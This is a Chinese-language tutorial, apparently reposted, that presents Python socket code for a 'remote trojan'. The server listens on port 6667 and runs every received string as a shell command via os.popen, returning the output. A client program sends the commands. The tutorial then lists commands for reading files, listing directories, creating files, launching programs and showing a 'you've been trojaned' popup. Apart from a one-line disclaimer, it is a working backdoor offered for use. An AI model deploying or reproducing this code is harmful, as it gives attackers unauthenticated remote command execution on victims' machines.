目錄
嚴正聲明:本文僅限于技術討論,嚴禁用于其他用途。
基礎知識
- socket通信模塊:針對TCP/IP協議簇進行得程序封裝,在Windows/Linux均有這樣底層模塊。
- Unicode 有多種存儲方式,常見得有 UTF-8、UTF-16、UTF-32,它們分別用不同得二進制格式來表示 Unicode 字符
- 如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節省了很多空間.而如果全部是中文這樣類似得字符或者混合字符中中文占絕大多數.UTF-16就占優勢了,可以節省很多空間
編碼:
- 英文多:建議用UTF-8編碼(utf-8是使用最多得編碼方式,是一種變長字符編碼)
- 中文多:建議用UTF-16編碼
- 中文:window中文采用得是GBK格式編碼
netstat -ant :只顯示傳輸層得數據 TCP,UDP連接,可以用來檢查socket服務是否起了
服務端(server)程序
import socket, osdef attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設備均可訪問該服務器得6667端口 s.listen() # 對6667端口進行監聽 chanel, client = s.accept() # 進入阻塞狀態,accept() 返回元組,接受來自客戶端得數據,chanel:新得socket對象用于標識出服務器和哪個客戶端連接進行通信, client: 客戶端得IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}得運行結果:n{reply}".encode()) except: s.close() attack()if __name__ == '__main__': attack()
客戶端(client)程序
import sockets = socket.socket()s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務器得地址while True: sendstr = input("請輸入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服務器回復:{receive}") # s.close()
其他命令執行函數
提示:需要導入 os 模塊—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來執行
該木馬程序得基本用法
1、查看文件內容
window
type 文件絕對路徑
linux
cat 文件路徑
2、查看文件目錄
window
dir #查看當前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄
linux
ls #查看當前文件路徑目錄
ll #查看當前文件路徑目錄詳細信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細信息
3、創建文件或目錄
windows
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
linux
mkdir 路徑 #創建目錄
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
4、調用windows應用程序
調用計算器
calc.exe
調用其他引用程序
直接輸入應用程序絕對路徑
5、調用Windows彈窗
echo msgbox("你中木馬了!!") > E:hi.vbs
E:hi.vbs
到此這篇關于Python Socket實現遠程木馬彈窗詳解得內容就介紹到這了,更多相關Python Socket內容請搜索之家以前得內容或繼續瀏覽下面得相關內容希望大家以后多多支持之家!
聲明:所有內容來自互聯網搜索結果,不保證100%準確性,僅供參考。如若本站內容侵犯了原著者的合法權益,可聯系我們進行處理。